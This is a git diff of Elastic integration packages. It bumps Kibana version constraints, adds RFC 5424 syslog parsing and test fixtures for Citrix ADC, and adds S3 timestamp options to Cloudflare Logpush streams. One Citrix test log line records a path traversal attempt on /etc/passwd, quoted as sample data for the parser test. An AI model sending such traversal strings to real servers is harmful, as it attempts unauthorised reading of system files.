description: Collect logs from Cisco Umbrella with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- dns_security
conditions:
kibana:
- version: "^8.16.2"
+ version: "^8.16.5 || ^9.0.0"
icons:
- src: /img/cisco.svg
title: cisco
diff --git a/packages/citrix_adc/_dev/build/docs/README.md b/packages/citrix_adc/_dev/build/docs/README.md
index be5a6b6be23..b7238e0ffa0 100644
--- a/packages/citrix_adc/_dev/build/docs/README.md
+++ b/packages/citrix_adc/_dev/build/docs/README.md
@@ -79,6 +79,8 @@ For step-by-step instructions on how to set up an integration, see the [Getting
The Citrix WAF GUI can be used to configure syslog servers and WAF message types to be sent to the syslog servers. Refer to [How to Send Application Firewall Messages to a Separate Syslog Server](https://support.citrix.com/s/article/CTX138973-how-to-send-application-firewall-messages-to-a-separate-syslog-server) and [How to Send NetScaler Application Firewall Logs to Syslog Server and NS.log](https://support.citrix.com/s/article/CTX483235-send-logs-to-external-syslog-server?language=en_US) for details.
+**Note:** It is recommended to use RFC 5424 compliant syslog messages, if supported by NetScaler. Support for RFC 5424 was added in NetScaler 14.1. Refer to [Configuring audit log action](https://docs.netscaler.com/en-us/citrix-adc/current-release/system/audit-logging/configuring-audit-logging.html#configuring-audit-log-action).
+
## Validation
After the integration is successfully configured, clicking on the Assets tab of the Citrix ADC Integration should display a list of available dashboards. Click on the dashboard available for your configured datastream. It should be populated with the required data.
@@ -184,4 +186,4 @@ The `citrix_adc.log` dataset provides events from the configured syslog server.
Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields.
-{{fields "log"}}
\ No newline at end of file
+{{fields "log"}}
diff --git a/packages/citrix_adc/changelog.yml b/packages/citrix_adc/changelog.yml
index bfca9211c03..a44c1b283e7 100644
--- a/packages/citrix_adc/changelog.yml
+++ b/packages/citrix_adc/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.15.0"
+ changes:
+ - description: "Add support for parsing RFC5424 syslog messages"
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12608
- version: "1.14.0"
changes:
- description: "Update grok lines for discrepancies seen in the wild, and remove newlines to fix sporadic weird errors"
diff --git a/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json
new file mode 100644
index 00000000000..5fdd43eaf07
--- /dev/null
+++ b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json
@@ -0,0 +1,32 @@
+{
+ "events": [
+ {
+ "@timestamp": "2025-01-12T21:06:37Z",
+ "message": "<131>1 2025-01-12T21:06:37Z MY-CITRIX-HOST ICA 0-PPE-0 - - default Message 4357642 0 : \"ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\""
+ },
+ {
+ "@timestamp": "2025-01-30T12:00:00Z",
+ "message": "<173>1 2025-01-30T12:00:00Z MY-CITRIX-HOST newsyslog 79382 - - logfile turned over due to size>100K"
+ },
+ {
+ "@timestamp": "2025-01-08T13:30:00Z" ,
+ "message": "<171>1 2025-01-08T13:30:00Z MY-CITRIX-HOST httpd::authz_core 38137 - - [client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var "
+ },
+ {
+ "@timestamp": "2025-01-10T02:10:52Z",
+ "message": "<139>1 2025-01-10T02:10:52Z MY-CITRIX-HOST [993] - - - (0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6"
+ },
+ {
+ "@timestamp": "2025-01-09T14:38:06Z",
+ "message": "<142>1 2025-01-09T14:38:06Z MY-CITRIX-HOST [993] - - - (0-0) start_ldap_auth Starting LDAP auth"
+ },
+ {
+ "@timestamp": "2025-01-09T13:17:03Z",
+ "message": "<173>1 2025-01-09T13:17:03Z MY-CITRIX-HOST httpd 22442 - - 175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" "
+ },
+ {
+ "@timestamp": "2025-01-30T10:41:20Z",
+ "message": "<132>1 2025-01-30T10:41:20Z MY-CITRIX-HOST SSLVPN 0-PPE-0 - - default Message 11027731 0 : \"Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\""
+ }
+ ]
+}
diff --git a/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json-expected.json b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json-expected.json
new file mode 100644
index 00000000000..0866aa704bf
--- /dev/null
+++ b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json-expected.json
@@ -0,0 +1,269 @@
+{
+ "expected": [
+ {
+ "@timestamp": "2025-01-12T21:06:37Z",
+ "citrix": {
+ "cef_format": false,
+ "detail": "<131>1 2025-01-12T21:06:37Z MY-CITRIX-HOST ICA 0-PPE-0 - - default Message 4357642 0 : \"ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"",
+ "device_event_class_id": "default",
+ "extended": {
+ "message": "ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\""
+ },
+ "host": "MY-CITRIX-HOST",
+ "name": "Message"
+ },
+ "citrix_adc": {
+ "log": {
+ "message": "ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"",
+ "timestamp": "2025-01-12T21:06:37.000Z"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "category": [
+ "network"
+ ],
+ "id": "4357642",
+ "kind": "event",
+ "original": "<131>1 2025-01-12T21:06:37Z MY-CITRIX-HOST ICA 0-PPE-0 - - default Message 4357642 0 : \"ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"",
+ "severity": 0,
+ "timezone": "UTC",
+ "type": [
+ "info"
+ ]
+ },
+ "observer": {
+ "hostname": "MY-CITRIX-HOST",
+ "product": "Netscaler",
+ "type": "firewall",
+ "vendor": "Citrix"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-30T12:00:00Z",
+ "citrix": {
+ "cef_format": false,
+ "detail": "<173>1 2025-01-30T12:00:00Z MY-CITRIX-HOST newsyslog 79382 - - logfile turned over due to size>100K",
+ "extended": {
+ "message": "logfile turned over due to size>100K"
+ },
+ "host": "MY-CITRIX-HOST"
+ },
+ "citrix_adc": {
+ "log": {
+ "message": "logfile turned over due to size>100K",
+ "timestamp": "2025-01-30T12:00:00.000Z"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "kind": "event",
+ "original": "<173>1 2025-01-30T12:00:00Z MY-CITRIX-HOST newsyslog 79382 - - logfile turned over due to size>100K",
+ "timezone": "UTC"
+ },
+ "observer": {
+ "hostname": "MY-CITRIX-HOST",
+ "product": "Netscaler",
+ "type": "firewall",
+ "vendor": "Citrix"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-08T13:30:00Z",
+ "citrix": {
+ "cef_format": false,
+ "detail": "<171>1 2025-01-08T13:30:00Z MY-CITRIX-HOST httpd::authz_core 38137 - - [client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var ",
+ "extended": {
+ "message": "[client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var "
+ },
+ "host": "MY-CITRIX-HOST"
+ },
+ "citrix_adc": {
+ "log": {
+ "message": "[client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var ",
+ "timestamp": "2025-01-08T13:30:00.000Z"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "kind": "event",
+ "original": "<171>1 2025-01-08T13:30:00Z MY-CITRIX-HOST httpd::authz_core 38137 - - [client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var ",
+ "timezone": "UTC"
+ },
+ "observer": {
+ "hostname": "MY-CITRIX-HOST",
+ "product": "Netscaler",
+ "type": "firewall",
+ "vendor": "Citrix"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-10T02:10:52Z",
+ "citrix": {
+ "cef_format": false,
+ "detail": "<139>1 2025-01-10T02:10:52Z MY-CITRIX-HOST [993] - - - (0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6",
+ "extended": {
+ "message": "(0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6"
+ },
+ "host": "MY-CITRIX-HOST"
+ },
+ "citrix_adc": {
+ "log": {
+ "message": "(0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6",
+ "timestamp": "2025-01-10T02:10:52.000Z"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "kind": "event",
+ "original": "<139>1 2025-01-10T02:10:52Z MY-CITRIX-HOST [993] - - - (0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6",
+ "timezone": "UTC"
+ },
+ "observer": {
+ "hostname": "MY-CITRIX-HOST",
+ "product": "Netscaler",
+ "type": "firewall",
+ "vendor": "Citrix"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-09T14:38:06Z",
+ "citrix": {
+ "cef_format": false,
+ "detail": "<142>1 2025-01-09T14:38:06Z MY-CITRIX-HOST [993] - - - (0-0) start_ldap_auth Starting LDAP auth",
+ "extended": {
+ "message": "(0-0) start_ldap_auth Starting LDAP auth"
+ },
+ "host": "MY-CITRIX-HOST"
+ },
+ "citrix_adc": {
+ "log": {
+ "message": "(0-0) start_ldap_auth Starting LDAP auth",
+ "timestamp": "2025-01-09T14:38:06.000Z"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "kind": "event",
+ "original": "<142>1 2025-01-09T14:38:06Z MY-CITRIX-HOST [993] - - - (0-0) start_ldap_auth Starting LDAP auth",
+ "timezone": "UTC"
+ },
+ "observer": {
+ "hostname": "MY-CITRIX-HOST",
+ "product": "Netscaler",
+ "type": "firewall",
+ "vendor": "Citrix"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-09T13:17:03Z",
+ "citrix": {
+ "cef_format": false,
+ "detail": "<173>1 2025-01-09T13:17:03Z MY-CITRIX-HOST httpd 22442 - - 175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" ",
+ "extended": {
+ "message": "175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" "
+ },
+ "host": "MY-CITRIX-HOST"
+ },
+ "citrix_adc": {
+ "log": {
+ "message": "175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" ",
+ "timestamp": "2025-01-09T13:17:03.000Z"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "kind": "event",
+ "original": "<173>1 2025-01-09T13:17:03Z MY-CITRIX-HOST httpd 22442 - - 175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" ",
+ "timezone": "UTC"
+ },
+ "observer": {
+ "hostname": "MY-CITRIX-HOST",
+ "product": "Netscaler",
+ "type": "firewall",
+ "vendor": "Citrix"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-30T10:41:20Z",
+ "citrix": {
+ "cef_format": false,
+ "detail": "<132>1 2025-01-30T10:41:20Z MY-CITRIX-HOST SSLVPN 0-PPE-0 - - default Message 11027731 0 : \"Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"",
+ "device_event_class_id": "default",
+ "extended": {
+ "message": "Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\""
+ },
+ "host": "MY-CITRIX-HOST",
+ "name": "Message"
+ },
+ "citrix_adc": {
+ "log": {
+ "message": "Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"",
+ "timestamp": "2025-01-30T10:41:20.000Z"
+ }
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "category": [
+ "network"
+ ],
+ "id": "11027731",
+ "kind": "event",
+ "original": "<132>1 2025-01-30T10:41:20Z MY-CITRIX-HOST SSLVPN 0-PPE-0 - - default Message 11027731 0 : \"Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"",
+ "severity": 0,
+ "timezone": "UTC",
+ "type": [
+ "info"
+ ]
+ },
+ "observer": {
+ "hostname": "MY-CITRIX-HOST",
+ "product": "Netscaler",
+ "type": "firewall",
+ "vendor": "Citrix"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ }
+ ]
+}
diff --git a/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml b/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml
index 7bb3d016680..76e48aa4f4d 100644
--- a/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml
+++ b/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml
@@ -13,10 +13,12 @@ processors:
- '^%{SPACE}%{HEADER_NOTIMEZONE} : %{DATA:_tmp.details} : +"%{GREEDYDATA:citrix.extended.message}"'
- '^%{SPACE}%{HEADER} : %{DATA:_tmp.details} : +"%{GREEDYDATA:citrix.extended.message}"'
- '^%{SPACE}%{HEADER} : %{DATA:_tmp.details} : +%{GREEDYDATA:citrix.extended.message}'
+ - '^<%{NUMBER}>%{NUMBER} (%{TIMESTAMP_ISO8601:_tmp.timestamp}|-) (%{SYSLOGHOST:citrix.host}|-) (%{DATA:_tmp.appname}|-) (%{DATA:_tmp.procid}|-) (%{DATA:_tmp.msgid}|-) (%{DATA:_tmp.structured_data}|-) (%{DATA:_tmp.details} :)?%{SPACE}"?%{GREEDYDATA:citrix.extended.message}"?$'
+
pattern_definitions:
HEADER_NOTIMEZONE: '(?:<%{NUMBER}>%{SPACE})?%{NATIVE_TIMESTAMP:_tmp.timestamp_native} (?:%{SYSLOGHOST:citrix.host} )?%{INT}-PPE-%{INT}'
HEADER: '(?:<%{NUMBER}>%{SPACE})?%{NATIVE_TIMESTAMP:_tmp.timestamp_native} %{WORD:event.timezone}? (?:%{SYSLOGHOST:citrix.host} )?%{INT}-PPE-%{INT}'
- NATIVE_TIMESTAMP: '(?:%{MONTHNUM}/%{MONTHDAY}/%{YEAR}|%{YEAR}/%{MONTHNUM}/%{MONTHDAY}|%{MONTHDAY}/%{MONTHNUM}/%{YEAR}):%{HOUR}:%{MINUTE}:%{SECOND}'
+ NATIVE_TIMESTAMP: '(?:%{MONTHNUM}/%{MONTHDAY}/%{YEAR}|%{YEAR}/%{MONTHNUM}/%{MONTHDAY}|%{MONTHDAY}/%{MONTHNUM}/%{YEAR}):%{HOUR}:%{MINUTE}:%{SECOND}'
- grok:
description: Parse out details.
tag: grok_tmp_details
@@ -25,6 +27,7 @@ processors:
- '^%{DEFAULT:_tmp.default}?%{WORD:citrix.device_event_class_id} %{GREEDYDATA:citrix.name} %{INT:event.id} %{INT:event.severity}$'
pattern_definitions:
DEFAULT: 'default '
+ ignore_missing: true
- set:
field: event.category
tag: set_event_category_network
diff --git a/packages/citrix_adc/docs/README.md b/packages/citrix_adc/docs/README.md
index fcc04177c0d..80a71ae5b6e 100644
--- a/packages/citrix_adc/docs/README.md
+++ b/packages/citrix_adc/docs/README.md
@@ -79,6 +79,8 @@ For step-by-step instructions on how to set up an integration, see the [Getting
The Citrix WAF GUI can be used to configure syslog servers and WAF message types to be sent to the syslog servers. Refer to [How to Send Application Firewall Messages to a Separate Syslog Server](https://support.citrix.com/s/article/CTX138973-how-to-send-application-firewall-messages-to-a-separate-syslog-server) and [How to Send NetScaler Application Firewall Logs to Syslog Server and NS.log](https://support.citrix.com/s/article/CTX483235-send-logs-to-external-syslog-server?language=en_US) for details.
+**Note:** It is recommended to use RFC 5424 compliant syslog messages, if supported by NetScaler. Support for RFC 5424 was added in NetScaler 14.1. Refer to [Configuring audit log action](https://docs.netscaler.com/en-us/citrix-adc/current-release/system/audit-logging/configuring-audit-logging.html#configuring-audit-log-action).
+
## Validation
After the integration is successfully configured, clicking on the Assets tab of the Citrix ADC Integration should display a list of available dashboards. Click on the dashboard available for your configured datastream. It should be populated with the required data.
@@ -1471,3 +1473,4 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur
| input.type | Input type. | keyword |
| log.offset | Offset of the entry in the log file. | long |
| log.source.address | Source address from which the log event was read / sent from. | keyword |
+
diff --git a/packages/citrix_adc/manifest.yml b/packages/citrix_adc/manifest.yml
index 6408b177515..71d39662e12 100644
--- a/packages/citrix_adc/manifest.yml
+++ b/packages/citrix_adc/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: citrix_adc
title: Citrix ADC
-version: "1.14.0"
+version: "1.15.0"
description: This Elastic integration collects logs and metrics from Citrix ADC product.
type: integration
categories:
diff --git a/packages/claroty_ctd/changelog.yml b/packages/claroty_ctd/changelog.yml
index 903520250c5..22cd0b31831 100644
--- a/packages/claroty_ctd/changelog.yml
+++ b/packages/claroty_ctd/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.4.3"
changes:
- description: Add missing ECS mappings.
diff --git a/packages/claroty_ctd/manifest.yml b/packages/claroty_ctd/manifest.yml
index 437d63f9493..b578b9dec81 100644
--- a/packages/claroty_ctd/manifest.yml
+++ b/packages/claroty_ctd/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.1.4
name: claroty_ctd
title: Claroty CTD
-version: 0.4.3
+version: "0.5.0"
description: Collect logs from Claroty CTD using Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: ^8.13.0
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
icons:
diff --git a/packages/cloudflare/changelog.yml b/packages/cloudflare/changelog.yml
index 1004c1f631b..7e5e76dafb9 100644
--- a/packages/cloudflare/changelog.yml
+++ b/packages/cloudflare/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.30.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.29.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/cloudflare/manifest.yml b/packages/cloudflare/manifest.yml
index 4a5b876ee10..db119c07966 100644
--- a/packages/cloudflare/manifest.yml
+++ b/packages/cloudflare/manifest.yml
@@ -1,13 +1,13 @@
name: cloudflare
title: Cloudflare
-version: "2.29.1"
+version: "2.30.0"
description: Collect logs from Cloudflare with Elastic Agent.
type: integration
format_version: "3.0.2"
categories: [security, network, cdn_security]
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/cf-logo-v.svg
title: Cloudflare
diff --git a/packages/cloudflare_logpush/changelog.yml b/packages/cloudflare_logpush/changelog.yml
index 171617b688e..e523c599c84 100644
--- a/packages/cloudflare_logpush/changelog.yml
+++ b/packages/cloudflare_logpush/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.35.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
- version: "1.34.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs
index 2b8cc3bb855..3ca35f8fa4a 100644
--- a/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_access_request}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/access_request/manifest.yml b/packages/cloudflare_logpush/data_stream/access_request/manifest.yml
index ef4e0653c87..e613d920f66 100644
--- a/packages/cloudflare_logpush/data_stream/access_request/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/access_request/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs
index d2668306d95..5fd41e4ba44 100644
--- a/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_audit}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/audit/manifest.yml b/packages/cloudflare_logpush/data_stream/audit/manifest.yml
index 77660a70ea5..79ecf77cffc 100644
--- a/packages/cloudflare_logpush/data_stream/audit/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/audit/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs
index 282e1e4bdb2..87179ead237 100644
--- a/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_casb}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/casb/manifest.yml b/packages/cloudflare_logpush/data_stream/casb/manifest.yml
index 1427ca17990..4c11a761172 100644
--- a/packages/cloudflare_logpush/data_stream/casb/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/casb/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs
index 50b8bb58c58..71cb81cb44a 100644
--- a/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,15 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_device_posture}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs
index bd5e4b3aebc..0da92ebf129 100644
--- a/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_dns}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/dns/manifest.yml b/packages/cloudflare_logpush/data_stream/dns/manifest.yml
index a649e907b99..71b25cb7a82 100644
--- a/packages/cloudflare_logpush/data_stream/dns/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/dns/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs
index e67d21ffe29..984f70adc96 100644
--- a/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
